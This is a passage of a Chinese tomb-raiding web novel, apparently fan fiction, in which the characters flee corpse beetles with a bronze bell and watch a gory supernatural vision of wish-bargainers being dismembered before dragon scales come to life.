而失去铃铛的尸蟞王疲软地倒地，也就是在它重力倾泻下，张祈灵算好角度的刀刃便从它的脊骨缝彻底进入，刺穿了它的心脏，鲜血自体内暗流涌动，好半晌那暗血才从尸蟞王的嘴里吐出，但那摊腥臭的血，却意外的瞬间融化了沙土，众人这才明白，这家伙的血竟然是具有强腐蚀性的！！！ “往后撤！”解雨臣喊了一声，连忙拉住还在找枪的霍道夫，吴峫和小哥还有识相的黑瞎子和朝旭，也都在远离尸蟞王。 此刻站在原地的唯有衍卜寸和胖子，而张祈灵从尸蟞王的头上翻下来，把黑金古刀扔还给小哥以后，便立刻扶稳了衍卜寸，紧接着就用眼神示意了下胖子，想让胖子帮自己将失去大部分力气的衍卜寸给托上背。 可胖子压根不打算让张祈灵受累，所以胖子摇了摇头，忙伸手直接把衍卜寸一颠，就这么顺利地将人背了起来，然后，撩腿就开始往尸蟞王刚进来的地方撤，忙里抽闲，边跑边喘气的还要解释道，“祈灵小兄弟，你也是病号，我总不能看着俩病号之间互相帮助！把我这个毫发无损的家伙当成什么了？！” 但张祈灵却没能接受这个说法，他在队伍最后，作为断尾跟着，但他还是执拗伸手，试图将衍卜寸从胖子的背上捞下来分担压力，搞的胖子觉得自己被小瞧了，回头都没回，只凭感觉一摸，连忙将张祈灵的手腕拽住，紧接着一把就把人给薅到前面去，并拍了拍张祈灵的背，不容置疑的喊，“你胖爷我有的是力气呢！顾着自己跑就行了！” 在他背上的衍卜寸，能感受到胖子说这些话是真心实意的，如今，他将铃铛抱在了怀里，因为胖子的背包隔在中间，虽然有颠簸但是也没响，应该算是现下唯一的好情况了。 但尸蟞王吐出的血正像毒气一般，开始蔓延至整个厢室，泥土瞬间被腐化，露出其地下它们蚕食的同类的黑色甲壳，还有硬实的地砖，尸蟞王的血液沿着缝隙流，很快便将地面给弄出了一个大洞，直到它的硫酸血将周围腐蚀殆尽后，也就是一瞬间的事。 轰然的巨响，让胖子等一众人听到后，跑的跟打了鸡血似的，竟然步伐更快起来，估计他们生怕这是什么气体充斥搞出来的爆炸。 可聪明的，五感强的些许人，只需要耳朵动一动，就能听出那是尸蟞王坠落下去的声音。 衍卜寸在胖子的后背上快要颠飞了，胖子受得住背着自己这个累赘跑，可衍卜寸接受不了，因为他自己累是累，但胖子驮着自己这个负担，不是胖子活该承受的。 而且，自己和胖子还有张祈灵都处于队伍尾端，但青铜母铃在前面才是最佳的，这会让围绕在他旁边的所有人都不受尸蟞的侵扰，有一个的范围成效在，也正因为衍卜寸知道不让它们认主且是找门的铃声是怎么摇的。 所以他拍了拍胖子的肩膀，开口说道： “放我下来。”这一句总算不是气若游丝了，但是显然也并非状态很好的样子。 胖子听了，像是衍卜寸在用天大的谎言哄骗自己一样，立刻坚定的摇了摇头，“我怎么能丢下兄弟不管啊！你现在怎么能跑，刚才抵住尸蟞的牙豁子的时候，你就够累的了，而我这个胖坨坨啥都没干，就有一身力气是留着来背你的！” 趴在他背上的衍卜寸叹了一口气，他终于知道朝旭嘴里的那句‘现在不是来讲兄弟情深的戏码’是什么意思了，于是他三言两语将母铃的原理给说清，这才赢得胖子的点头同意，不过胖子实现他的想法还是有一定延迟性的，甚至在胖子动身的那一刻，竟然让活了一千多年，天不怕地不怕的衍卜寸，蓦然有种被唤作“大公主驾到”的羞耻感。 因为胖子是一边喊着让让让，潜台词应该是“统统闪开什么吧？”衍卜寸懵懵的眨了眨眼，发现自己不玩游戏竟然都知道这句台词。 等等，这些不重要！！！ 等胖子跑到队伍的头前，他才舍得将自己“矜贵”的自己给“恋恋不舍”的放下。 衍卜寸：胖子，你看着自己的手到底在回味什么啊？！ 而在队尾的张祈灵，此刻正孤身一人的选择合拢那敞开的石门，所以，他的发丘指，正抵在那墙壁的机关上较劲，不过，这份坚持是有回报的，他终于是在毒气蔓延到门口的最后一刻，阻断了那些尸蟞会灌进来啃吃众人的入口。 衍卜寸咳了两声，站稳身体，偏头看着同样从别人背上跳下来的吴峫，对方现在已经恢复了所有的神智，正用手压着喉咙，感受着那阻碍多年的异物感中终于消失了以后，才挤出了一声又干又涩的话，“谢谢。” “本身来这里也是为了帮你的，不用客气。”衍卜寸说完，便将怀中护着的青铜铃铛给拿了出来，“待会我摇动铃铛的时候，身后的石门和面前的甬道都会被尸蟞所冲开，大家做好准备。” 本来已经打算摇铃的衍卜寸，刚动手就被人扣住了手腕，他抬头看了一下，才发现是黑瞎子，对方沉着一张脸，似乎是在表达对自己决策的不满，“这件事我知道你必须要做，可你现在的身体真的不适合，不如让瞎子我来。” 衍卜寸盯着黑瞎子，眯了眯眼，仿佛目光锐利到能破开他的墨镜，从中看到他已经泛出白浊的眸子，他本想着能不提自己身体状况这件事，但显然黑瞎子也不是一个很好的人选。 他想死，想做那个冲锋的勇士和牺牲品， 但衍卜寸不会让他如愿。 “你歇着吧，你收了解雨臣的钱，本身就是要听从他的命令，我刚才叫了你一声，算是背叛了你收钱才执行的原则和底线，所以这件事就到此为止吧，我不会再使唤你第二次。”衍卜寸没有松开抓住青铜铃的手，只是往后抽了抽，从黑瞎子的掌心中挣出来，然后摊开了手，仿佛在说自己的两袖清风，分毛不拔。 黑瞎子被气笑了，别人肉眼凡胎，不知道衍卜寸过度受能力身体会有多糟糕，但是他就是能够用这双接近失明的眼睛看出来。 对方的情况已经到了一个濒临崩溃的点，只不过是意志力的支撑而已，可是这又能到几时？凭借着一身执拗做事，哪怕制定着一系列的计划，但这也让黑瞎子觉得，衍卜寸逆天改命的第一结局，就是最先折的是他自己。 不过二人的争执，很快迎来了计划之外的人毫不犹豫的破局。 张祈灵钉好石门后，直接来到衍卜寸的身边，以迅雷不及掩耳之速的，将铃铛晃动起来，衍卜寸震惊的，看着这个能够驱使母铃响出正确旋律的家伙，突然觉得自己有点不认识眼前的神。 “还愣着干什么？”霍道夫早已经做好了奔跑的所有准备，他看着张祈灵摇铃和众人像是脚被粘在了地上的样子，连忙在前后异动前又催促了一句，“跑啊！” 随着他话落的瞬间，张祈灵已经晃动了第二次铃铛，他此刻拿着那母铃，却早已经从过去小寸的记忆当中，看到了那卷轴上的文字，而这种方法，仿佛在他翻阅书卷的第一时间，就已经融会贯通。 暴乱终于开始了。 无数的尸鳖从漆黑的甬道尽头疯狂的往这边涌，背后的应该是那群藏匿在青铜铃里的尸蟞，也都因为母铃的增幅，而突破开了桎梏它多年的牢笼，等跑到石门处，它们便在那里用坚硬的走足，不断去试图扒开一道缝隙，这样密集的攻击，使得它们同时发出了令人不悦的，如磨牙般的嘎吱声。 而众人的精神，也终于被这声响所敲动，连粘在地下的脚，都在这一瞬间里迈出了飞快的步调。 张祈灵为了让众人都跟住，则将自己的速度控制落在了一个很好的范围内，他不停的摇铃，从铃铛拨动后的能量四散中，隐隐感觉到了衍卜寸所说的，那个真正的青铜门的位置。 直到，这种虚幻的，抓不住的直觉，终于被张祈灵踩出第一只尸蟞而有了实感的时候，他不知是触发了哪个条件，那些已然看不见的红线，仿佛也跨越过了自己凡胎肉体的眸子，穿梭在了自己的身边。 张祈灵向四周观察，发现是衍卜寸不放心而给大家叠加的防护，而他的红线还正对着那群试图撞死人的尸蟞们一顿胖揍。 等他回头，确认这红线的源头真的来自于衍卜寸后，张祈灵才第一次外露情绪的警告，“收起来。” 那声音不轻不重，像是过去无数次唤动衍卜寸心尖的清冽透亮，但衍卜寸却不是真傻，他立刻将自己的红线收了回去，装作无事发生，并在张祈灵鞭策且染着一定愤怒的眸子里，一步步讨好卖乖地朝着对方飞速靠近。 “对不起。”衍卜寸这么道，身形也几乎与张祈灵到了齐平前进的状态，顺便他还帮着自己的神，解决掉了一个跳起来准备和母铃来个亲密接触的尸蟞，但他笑意盈盈的邀功，却只换来了张祈灵转头的视线偏移。 张祈灵无心处理衍卜寸的情绪，或者只是单单不知道如何回应这样的热烈，索性，他直接借甬道昏暗的灯火转移注意力，并以此看见了那群已经挤满了尽头的尸鳖。 他知道这是一个大麻烦，而现在的青铜铃铛已经有了三公斤重，虽然比起黑金古刀重不了多少，但显然已经超出了一个铃铛应有的重量，而且处于母铃控制中心的自己，也难免会受到一些影响。 比如现在，张祈灵就好像从那群尸鳖的甲壳处，看到了自己和大家的人脸，所有人的五官正扭曲挣扎着，想要脱离那份被钉在怪物身上的痛苦，他看了几秒，便咬住腔内的软肉，用疼痛定了几分神，事实证明，他的做法确实是对的。 因为他发现，疼痛可以让人清明，而那群尸蟞也在自己眼里回归到了普通的模样，它们漆黑的躯壳，正融入在黑暗之中，如梭飞的标鱼，挤在一起谁也不让谁，排山倒海而来，甚至还卷袭着打算推翻一切的海啸似的，无情的向众人实施它的报复。 第230章 活玩意儿 张祈灵一手紧攥住自己的软刃柄部，另一只手不停的晃动铃铛，尸蟞因为母铃开始召集的趋向性，应着声飞速而来，但等它们冲到张祈灵的面前时，又因为畏惧母铃的强大力量，而开始嘴里发出咔哒的嗫嚅声，身躯不断的往后瑟缩着。 但因为数量庞大，后浪推前浪，尸蟞们哪怕再怎么想逃，也只能像密匝匝挨在一起的蝙蝠似的，密集的在众人的头顶和四周聚集起来。 不过因母铃的震颤，它们的行动能力受到重创，腿脚承受不住母铃的威压，便松了力道，一连串的开始不断的往下掉，但在大部分尸蟞砸下来前，张祈灵便立刻将吴峫的背包给薅了起来，随即放到了吴峫的头顶上，让他顶着包，并点头示意对方跟着自己跑。 见到张祈灵和吴峫动作，大家也开始效仿，将自己的背包给举到了头顶，并迎着噼里啪啦往下跟坠陨石一样的尸蟞，不断的往前跑。 哪怕被尸蟞的甲壳，所划到了脸颊和脖颈等裸露的位置，呲牙咧嘴的疼也不能停下。 其中负重着食物和一包子雷管的胖子，真的就是跟拉货的经验老道的驴头一样，虽然背着包，身形也稍显臃态，但灵活度真的是绝非凡品，也许是这些年的历练，让他顶着包跑，完全没有抽出武器的机会，他也能毫不费力地对付这群尸蟞。 胖子一踹一踢之间，可谓能够称得上是一句游刃有余，甚至，他还有空给后头收尾的小哥，来个自觉憨性的眨眼wink。 但他脸上的汗，很快就因为这挤眉弄眼的动作，而溜进了眼框当中，竟一下子染湿了睫毛，不可控的模糊了视线，胖子难耐地眨了眨眼，也就是这个间隙，竟然有只尸蟞屁股上挂着个粘液丝线，跟蜘蛛倒挂似的，一个弹簧起步，给还在努力睁眼的胖子来了个面对面的亲密接吻。 这是一种冰冷又黏腻的感觉！ 胖子察觉到唇瓣上贴合的东西，刚想要往后退，就已经被好心的小哥给拉的撤了一大步，等他消化好自己刚才竟然亲了只尸蟞后，便连忙搓了好几把嘴，一阵呸呸呸个不停。 但他很快又往前跑，压根不敢停下来，甚至踩的每一步都越发实诚起来，直到把尸蟞踏的稀碎，脚底一阵的黏腻，不过，这就是胖子怕自己摔倒而已，因为尸蟞现在就跟蚂蚁迁徙似的，密密麻麻一堆，一不小心就容易栽里头爬不起来。 “要下去。”张祈灵终于走到了甬道的尽头，他提醒着后面的人，现在自己即将往下走。 而张祈灵所在的位置，是一个旋转式的楼梯口，他踢开围起一圈，还在瑟瑟发抖的尸蟞们，然后忽略那墙壁上的黏腻液体，开始用衍卜寸的打火机点燃着墙面的挂烛。 等大家簇拥在一起，前胸贴后背的紧密挨着时，那群前后撞一块的尸蟞，已经因为母铃的力量，而开始互相残杀。 于是，令人不悦，头皮发麻的朵颐咀嚼音，也正因为张祈灵手中铿锵有力的铃铛声响，而愈演愈烈起来。 吴峫听着这样的酸牙动静，恶寒地搓了搓自己的胳膊，并重新将高举过头顶的包甩回了背上，但他不知道后头赶上来的是谁，那人还在不停的大喘气，并搭住了自己的肩头，一阵的冷气扑在后脖颈上，加上那不容反抗的力度，令他骤然回头，却发现那是脸色酱色的胖子，对方的嘴搓的通红，有点像香肠。 但联想到这里的文化人吴峫，并没有直说出来，毕竟他清楚身处于这个环境里，不可能有什么家伙能给胖子来个法式热吻。 所以，他清亮的眸子只闪过一丝狡诈，然后开口调侃，试图学着以往胖子的模样，想要将现在谁都累的够呛的氛围给拱起来，并装作一无所知的样子，“胖子，你这嘴是怎么了？” “没怎么，被狗啃了！”胖子实在是不想回忆，只是紧贴在吴峫的身上，压根不考虑吴峫的倒霉体质，毕竟他最喜欢他的小天真了！ 随即，他立即转移了话题，“祈灵小兄弟怎么停了？是出什么问题了吗？” 张祈灵回了回神，从摇曳的烛光里，看着已经截断的楼梯，仿佛一脚踏空就会死，“没……” 他还未说完，就被衍卜寸拍了拍肩头，温热的掌心让他真正的凝住了神，张祈灵眨了眨眼，发现那已经断裂的楼梯，又重新如按顺序排好的琴键一样，流畅且完整。 又是幻觉…… 张祈灵这么想着，再次回复了胖子的话。 “没问题。”他一直在高度绷紧的精神，因为铃铛的反复致幻而疲惫不堪，仿佛那实质性存在的每一步，在他眼里都将放大成无数倍的深渊。 甚至无需任何的定点，他早站在了倾斜的天平上，似乎早就被命运牵动，且毫不费力的，随时都有可能滚下去。 衍卜寸见张祈灵状态不对，又捏了捏他的肩膀，像是给对方增加了一个可以稳定的秤砣，让他岌岌可危的轻巧重量，终于沉了一些。 头顶上的尸蟞还在厮杀，张祈灵没有空想那么多，只能点了点头，对衍卜寸表示感谢，随后，他便将自己的发丘指插入面前石门的缝隙里，等轻而易举地别开以后，他却被眼前的场景给震撼到了。 因为石门的摩擦，里头的机关白磷很快被点燃，并快速以不可拦截之势，将整个空间都照的一清二楚。 四根黄金纹龙柱，雕刻的栩栩如生，简直是顶开了墓里的一片天，也是现今所看到的最贵的东西，但这室内的中心所装着的，可不是什么金银细软，或者是密集的尸蟞。 而是人骨！ 它们以一个金字塔一样的形状，交叠在一起，堆砌的格外高耸，像是在进行可怕的献祭仪式。 张祈灵走近，怕尸蟞跟下来，就没停止摇铃，但为了防止现在自己眼前的是幻觉，他连忙又咬了一次嘴里的肉，等到疼了以后，他才发觉这个尸骨堆真的是真实的。 一众人忙跟在张祈灵的后面，等吴峫在站定在那群人骨前时，便精准吐出了这东西的制造方法，“他们的尸体能这么紧密的粘合在一起，是因为有人用炼好的尸蜡将他们浇了好几轮。” 吴峫用匕首，从那骨头上将一点黄褐色的凝液给刮了下来，递在众人面前看了一轮。 “这东西有毒吗？”胖子虽然这么问着，但眼神却不断的往那四龙柱上飘，虽然知道挖不下来，也有可能带不出去，但是他就是想饱饱眼福。 吴峫看出来胖子的心思不在这里，但还是耐心的回答，“人死后，体内就会产生有毒的气体，而那些细菌也会攻破白细胞的防线，进入尸体的内部，这时候的人，就是一个大型的培养皿，就算是高温杀菌，将他们的血肉炼化，可这么多年过去了，他们的蜡油估计都被尸蟞爬过好几轮了，反正不干净。” 心无旁骛的胖子，听着吴峫絮絮叨叨的解答，还是没忍住向那龙纹柱庞靠近，他真的想挖一块掌掌眼，这吸引力简直是太大了！ “别动。”衍卜寸说道，而张祈灵立刻拦住了胖子。 此时胖子的视线，仍锁定在那龙纹柱上，不感兴趣的清如和朝旭也瞥了一眼，可这一下不要紧，但就是莫名让人心底发毛。 而黑瞎子本在听着他们移动的脚步声，却从中察觉到了不一样的动静，他忙拉住离自己最近的一个人，差点将解雨臣拽的一个趔趄，“别动！” “怎么了？”解雨臣不会问那些没营养的话，只问道，“是有什么问题吗？” 黑瞎子的耳朵动了动，而所有人的动作都顿住了，直到整个空间里的白磷突然燃尽，陷入一片黑暗之际，张祈灵打燃了衍卜寸的火机，但黑瞎子背后的那家伙，却抓着他的眼睛，挠的更狠了起来。 “眼睛…眼睛……”黑瞎子念着，解雨臣却以为是他眼睛疼了，连忙摸黑，试图将对方的手从脸上扯下来，可黑瞎子就像是中了邪不停的只会念那两个字。 张祈灵把火熄掉，他从黑瞎子的痛呼中，突然悟出了意思，这是有东西的眼睛要睁开了！ 所以，张祈灵只是在一片黑暗中，扣住了胖子的肩，开始一点一点的往后退。 直到，那龙纹柱上的家伙，突然齐齐瞪大了八只眼，并用微弱的，由它自己眸子所发散的亮光，不停的扫过下方，看起来是在寻找要被猎杀的倒霉蛋。 见此，这让刚还打算挖一块金子，去自己盘口卖的胖子，艰难又复杂的吞咽了下口水。 他刚才到底是怎么想把这可怕的家伙给撅一锹的？他妈的，这活玩意儿是自己能带走的吗？！ 第231章 实现愿望的动机 张祈灵将胖子推拢到人群中央以后，才放心的试探着向其中一根柱子走去，但对方却并没有开始攻击，或者……正如他所料的那样，这四条盘龙只不过是用来监视这空间内的某种东西，甚至它们可能根本无法自主的活动。 他抬头，盯着它们如红宝石一般嵌进去的瞳眸，正不断的打转，却时时没有确定自己位置的迷糊样。 张祈灵在它的视线乱扫中，毫无阻碍地握住刀柄，走到了那柱子下，而听到张祈灵已经远离自己的吴峫，正想要上前将人拉回来，可察觉到他动作的小哥，立马就将吴峫给扯住，并捂住了他的嘴，将其按着后背揉进了怀里，彻底泯灭掉了吴峫所有的声音。 盘龙果然是固定的。 张祈灵的手，已经放到了它雕刻的有棱有角的鳞片上，并一点点往上爬，他的目光锁定在对方那双耀眼的眼睛上，这东西真的很像红玉珠，而在没有搞清楚它的效用之前，自己不会击碎它，当然，现在翻越上去，也只是为了测试是否有机关，毕竟这墓里的所有东西，都已经超出了张祈灵脑内所承载的知识范畴。 等张祈灵到达它的脖颈那些翻飞的鬃毛处时，它才慢半拍的看向了已经快要摄取自己双眼的家伙，张祈灵俊逸的脸，在猩红漂亮的光亮照耀下，有种夺人心魄的美感。 可盘龙心中却没有因为这个外来人而警铃大作，它反而第一反应，是立刻挪移视线，垂眸看向底下那高耸完整的人骨塔，那神情，竟让人品出了一点儿安心。 但张祈灵对于情绪的感知，本身就是迟钝的，更遑论面对这一张硬脸只有眼眶子里的眼珠能动，铜身金皮的家伙。 所以，他没有丝毫怜悯的直接薅住了盘龙的角，一个借力彻底翻在了它的头顶，并用刀卡在了龙角分叉的缝隙，固定住了整个身体，张祈灵的手开始试探着伸向它的眼，也就是在这一刻，所有的盘龙终于将目光齐聚到了这个胆大包天的人类身上。 它们仿佛是刚适应这双启动不久的眼睛，这么慢半拍的才发现，竟然有人打算对自己的同类下手。 也就是张祈灵的指尖刚搭上盘龙眼眶的这一刻，所有人都听到了周围的三根龙柱，齐心合力地发出了具有威慑的震怒一吼，似狮子般雄厚有力，试图喝退张祈灵。 而这样的声音，终于是将张祈灵耳朵里覆盖的那层血腻子给震开了，他的耳畔突然清明，竟反而有些不适应，但这也验证了张祈灵心中的疑问，它们只能用所谓的龙吼功来耀武扬威，完全就是因为它们压根脱离不了柱子，才会只造出这种皮毛的攻击。 张祈灵在适应自己的一阵耳鸣后，才晃了晃脑袋，然后将自己的发丘指彻底捅进了盘龙的眼眶中，只轻巧的一别，他便轻而易举地将那珠子给拿了下来，握在手里的分量不轻不重，和煮熟的鸡蛋差不多，而亮丽的光也在晕染开来，但里头并没有生命体的迹象，这应该不是衍卜寸的魄。 随即，张祈灵又将盘龙的另一只眼也挖了下来，那空空如也的眼眶里，终于在这时候滚出了些别的东西，鲜血顺着它的空洞眼窝和闪耀的鳞片缓缓流下，张祈灵侧身一躲，但却用软刃接住了些许鲜血，改变了那液体延展下去的轨迹。 果然，这是墓主人留的后手，将完全没有反抗之力的盘龙眼窝处，塞入引人注目的红珠子，只是为了启用接下来的机关！ 而血液零星落在地上的那几点，则瞬间以一条不断展开的暗线，朝着骨堆扑去，但因为张祈灵改变了它们的流动趋向，导致那些能量不够，压根无法到达金字塔骨堆处。 见此，很快张祈灵就从上面跳了下来，他将红玉珠随意丢进衍卜寸的手里，让对方去想这华而不实东西的用处，然后，他自己便挨个爬上了剩余的龙柱，把接下来的六颗珠子都抛向了衍卜寸。 但因为不断掏眼珠的动作，导致那些藏于柱体里的血液又往下流了些，不过，它们还是被张祈灵精准地控制在了骨堆之前，仅一步之遥的位置上。 像附骨之蛆得不到滋养一般，只能软趴趴的卧在地砖的缝隙里，而那堆砌起来的金字塔，也终于有了些许动静。 衍卜寸眯了眯眼，看着骨堆的异样之处，很快从这堆珠子里觉察出了什么，立刻说道，“这是留影珠，那家伙把这东西镶嵌到柱子上，估计是为了在保持稳定磁场的同时，隐藏什么，现在拿下来了所有的留影珠，磁场动荡，这里发生的一切都会重演。” 话落，那堆骨头的中心，突然冒出了扎眼的光，直到这种刺眼的亮侵蚀了整个空间，众人快速捂住了眼。 就在忍住生理性泪水的分泌后，所有人都睁开了眼，却发现面前的那些骨头像凭空消失了一样！ 胖子扭头往四周看，却吓得呼吸一滞，因为成千上百号人，正因为磁场的影响，而挤在这个拥挤且狭窄的空间里，不同时代的他们，身穿着各异的服饰，可他们的身体里，却刺出了相似的龙鳞。 洁白的龙鳞，从躯壳上破出一角，照映开他们身彪体壮的身体，有些人的头发早已花白，可脸和皮肤看起来却是二十多岁的青年模样，有些虽人到中年，但肌肉流畅，身体硬朗，而还有些人，富得流油，身上的金银细软，多的数不胜数…… 张祈灵观察着这些人，他们拥有着这么多美好的特征，换老返童的长生、身体的健康健硕、财富的取之不尽……但他们的神情，却并非是有多么的喜悦，而是一种复杂的，略带着些恐惧，仿佛下一刻，有什么就要被剥夺，这使得他们抱着自己的胸口，拼命的想要将那龙鳞往身体里按。 但这样的自虐动作，很快他们的血液便不受控制地往下流淌，并顺着地砖的缝隙，去往了四根龙柱上，也就是这样的滋养，瞬间让那些尚且黯淡的留影珠，迸发出了耀眼的光芒。 在这一瞬间里，所有人再次看到了时间推移后的场景，人们的面容变得痛苦狰狞，直到第一个人突然腾空而起，衍卜寸看到后，立马解释道，“柱子里有红线，把他拽上去了。” 那个看起来头发花白，却长寿异常，返老还童的人，四肢被大撑开来，呈现出了一个极致的大字，可这样的变态拉扯还没有停下来。 衍卜寸猩红的眸子倒映着上方第一朵绽开的血花，那人的四肢被拽掉，像被强行拆开的木偶，鲜血不断的噼里啪啦往下砸，润染了下方瑟瑟发抖的人群，他们惊恐的看向上方，不断的抹泪擦血，生怕下一秒被挑中的就是自己。 “怎么跟共感似的，看他被扯的七零八落，我自己身上也疼。”胖子不忍心地移开视线，搓了把胳膊，发现自己起了一身的鸡皮疙瘩。 吴峫将胖子拽了拽，挡住了他的眼睛，“别看了。” 他虽然这么说，可眼神却一刻不停地盯着那人最后的结局，那看不见的红线，似乎正在对方的胸膛上掏挖，直到一大片龙鳞被剥离出来时，鲜血便又爆了一次。 那人没了四肢，能活动的只有头，他疯狂的晃着脑袋，躯干也因为这样的动作而颤动，能看到具体内容的衍卜寸充当起解说。 “那东西，想将他抽皮拔骨。” 血腥的解释，让这人的结局显而易见，他的骨头被拆了出来，皮肉丢到了角落里等待着慢慢腐化，龙鳞放在地面上，开始堆砌起第一颗基底，他的骨头围绕在那龙鳞的旁边，紧接着，被薅走的就是一连串新的人，都是同样的动作，同样的痛楚，同样的面目全非…… 张祈灵看了半天，眸子终于有些动荡，脑子里回响着一个突然冒出来的词，“交易。” “是交易。”黑瞎子听出了张祈灵的言外之意，虽然他的眼睛还没恢复，但是借由大家的话语，还是听懂了一些部分，“那龙鳞在中间，也许是等待被激活反应堆，而那些人的血，全部都储存在了柱子里，是为了有一天能够闯入这里的衍家人，再激活它们。 衍卜寸你好像入了他的道， 说不定这就是它策划出来的剧本呢？” 听此提醒，衍卜寸抱紧了那些留影珠，“也许是吧，但是这么一帮外族人能够怀揣着龙鳞出现在衍家基地，就证明着他们确实与那个家伙做过交易，在这一点上阿祈说的没有错，所以我倾向于，这群人的目的，可能是被迫来还愿的。” “这是什么意思？愿望是可以还回去的吗？”吴峫往下拽了拽小哥堵住自己嘴的手，疑惑的问。 衍卜寸没有立刻点头，只是迟疑着说，“这不过就是我的猜测，因为交易必定会有互相交换的东西，如果是两个人之间做交易，那么选取的就是他们彼此的东西，可和那个东西交涉，我们却一直都不知道它会付出什么来对吧？ 但看看这些人，他们的身上都揣着龙鳞，所以我想，献祭并不只局限于人类，它也同样在献祭。如果无躯壳束缚，它就能从门里出来的话，正好验证了他需要不断找人实现愿望的动机。” 第232章 渴望？ 衍卜寸在说完这些猜测以后，那群堆砌起来的骨头终于成为了一座无坚不摧的高塔，剩余囤积的血肉，也被此地储存在墙体内的白磷所炼化，最终，它们被那龙鳞的力量所牵引住，油润的蜡自主地向骨堆处爬去。 像是一团团腌臜之物，也似是蠕虫。 剖体剥鳞与烧制尸蜡同时进行着，所有人都能够清晰看到他们一点点的皮肉瓦解、四分五裂、面目全非……胖子和吴峫同时扭开头，不由干呕着，解雨臣脸色也有些不好，但还是坚持着给他们率先递了水，就连霍道夫都攥紧着自己的医疗箱，仿佛痛在己身般，为这样的暴戾手段，而感到愤怒。 这是对生命的侮辱，就算这些人是交易后，因为还不起代价的自食恶果，但罪不至死。 “罪不至死。”霍道夫念着这句话，身为医者的他，亲眼看着这群人一个接一个的以最凄惨的模样，甚是痛苦的死亡，他摇了摇头，闭上了眼，像是没有任何的气力再去看，他重复道，“罪不至死……” 小哥听到了霍道夫的话，又看着吴峫和胖子干呕着，但还是不舍得错过这属于门后势力的信息，而回头想要继续看的模样，便直接将他们二人掰到了自己身后，才开了口，不过，那语气却是不容置疑的，“别回头。” 接过解雨臣的水，往嘴里灌了好几口的吴峫脸色苍白，将身子倚在一样因为同类被杀，而犯出生理性恶心的胖子的半边肩膀上，吴峫艰难咽了咽还在泌出的酸水，半晌才回道。 “不看，不看了……”吴峫说完后，又犯了一阵的恶心。 人总要对某种事物，具有一定意义上的恐惧感，特别吴峫也同样和那些人是一类人，这更加深了他对自己结局的惶恐心理。 毕竟，他自己也是为了某种目的， 而去许过愿的交易者。 吴峫突然懊恼，自己怎么会产生这样的想法？！但这转瞬即逝的思绪，却让他立即偏头看了眼张祈灵，对方强行撑住的身体，现在略微还有些颤抖，那体内为了杀走蛟的暗伤仍旧存在，只是张祈灵在竭力的压制，装作不在意罢了。 吴峫心疼的看着他，这些年来，吴峫一直都在追查他的身世之谜，但衍卜寸所带来的信息，就是张祈灵绝对是被创造出来的，他不可能凭空出现，不过，物质化这个词，其实在很早的时候就出现了，甚至鄢啸南也提醒过衍卜寸，他珍视之人，会因为他的所作所为而消失，也会因为他屠龙的狂妄，而被迫承担所有的恶果。 一切都是有代价的，皆是有因有果。 这样的既定锚点，让吴峫想要立刻知道张祈灵的脑子里究竟充斥着什么东西，除了过去的那些曾经，现在的这些未来，那不为人知的秘密，他到底还记得多少？ 但他又不想自己真的，去面对张祈灵的物质化的事实，他只想要现在的平安事了，能够停留的再久一点，但他却又矛盾的想要张祈灵开口，并眼中尽数是柔软，对自己说： 吴峫，我很感谢，你带我来到了这个世界。 但同时，吴峫觉得这样的自己实在是自恋过了头，他有什么本事，又有什么资格，让付出了一切的祈灵，管自己这个不断伤害他的恶人说一句谢谢？ 他不能让张祈灵，如得了斯德哥尔摩综合症道：吴峫，你对我的伤害，是理所应当的，我感谢你施加在我身上的每一处伤痕…… 正是因为这样的痛楚，才让我明白， 我活着，是一件多么可怕的事情。 吴峫只能在心中庆幸，张祈灵和小哥在青铜门处撞上的那一刻，便因为逆行性遗忘，导致失去了所有的记忆，若是让他现在说，他估计也吐不出来什么有用的东西。 而现在，也许是吴峫反复思量的执拗，导致他盯着张祈灵的目光真的太过灼热了，察觉到这样视线的张祈灵，很快便转了头，甚至他因为吴峫的复杂神情，连拿着刀柄的手都颤了颤，他能够接受一切的爱与恨，能够明显看出一个人是否对自己有敌意，但却无法清晰察觉出吴峫此时的所思所想。 那种眼神，实在是掺杂了太多的东西，有探究、试探还有一种难以言说的渴望。 渴望？ 张祈灵的脑子里在蹦出这个词的时候，突然觉得自己是疯了，他怎么会觉得吴峫对自己有渴望这个感情存在？自己一定是疯了！这让他难耐地捻了捻自己的衣角，却发觉这是小寸呆习惯了自己的身体，而留住的下意识动作。 这一刻，他突然意识到，自己从来都是个模仿者，曾经模仿小哥的一举一动，现在就连已经消失的小寸都不放过。 他真的觉得自己可恨极了。 偏偏吴峫还在继续看，仿佛他是一个值得吴峫去欣赏，去观察，去关心的家伙……张祈灵不知道该怎么回应吴峫，只能略微的点了点头，但这样的简单动作却与他对待衍卜寸的方式有所不同。 他的眸子是亮的，是驻足在那骨塔里龙鳞散发幽蓝色前，比那更胜的光，坚定又让人安心的存在。 “祈灵，你……”吴峫也不管现在是什么环境了，反正那鬼留影的信息衍卜寸自会分析，他想让张祈灵休息，停下这一直以来，因为幼子爱母，毫无缘由，又恰似早就定好真相的，极端的，从不为他自己考虑的偏执守护。 祈灵，你歇一歇吧，不要再为了我而奋斗，不要为了所有人的安危，而牺牲你自己所有的时间和接下来的人生。 张祈灵以为吴峫是有什么重要的事，刚压下体内的钝痛，挪出脚步，就突然听见后方震动起来，他回头，发现这不是留影！而是真的骨堆里的龙鳞在颤，使得整个空间开始承受不住压力，正不断的在抖！！！ 同时，衍卜寸怀里的留影珠也很快褪去了光芒，张祈灵见此立刻点燃了打火机，但显然，这时候已经逃出人骨牢笼的龙鳞更夺目一些。 骨塔倒塌，而龙鳞在空中，被莫名的力量编织成了一条初见形状的蛇形，但它的鳞片却显然有些不够，这让它晃了晃脑袋，好似活过来的蛇，随即，它低头，用嘴衔住了两根腿骨，往上一甩，头一歪，骨头瞬间插在了它头顶的鳞片缝隙中，这让它如同装扮好的皇帝一样，洋洋得意的从已经塌成平丘的骨头上一寸寸地爬了下来。 直到它歪着脑袋，开始嗅着张祈灵手中的火光，它没有柔软的蛇信，只有一身比铠甲还要硬实地鳞片，所以，它对张祈灵的打火机产生好奇，便只会用头去拱，像是一只成精的动物般，仅遵从本能做事。 火苗被它蹭的往张祈灵的指关节上燎，衍卜寸眼疾手快地将张祈灵的手掰开，把打火机往那龙鳞所制的伪龙身上丢，可惜火机在它洁白无瑕的鳞片上轻松地滚了一圈后，便落入了那已经平铺开来的骨头中，并瞬间点燃了上面凝聚的尸蜡。 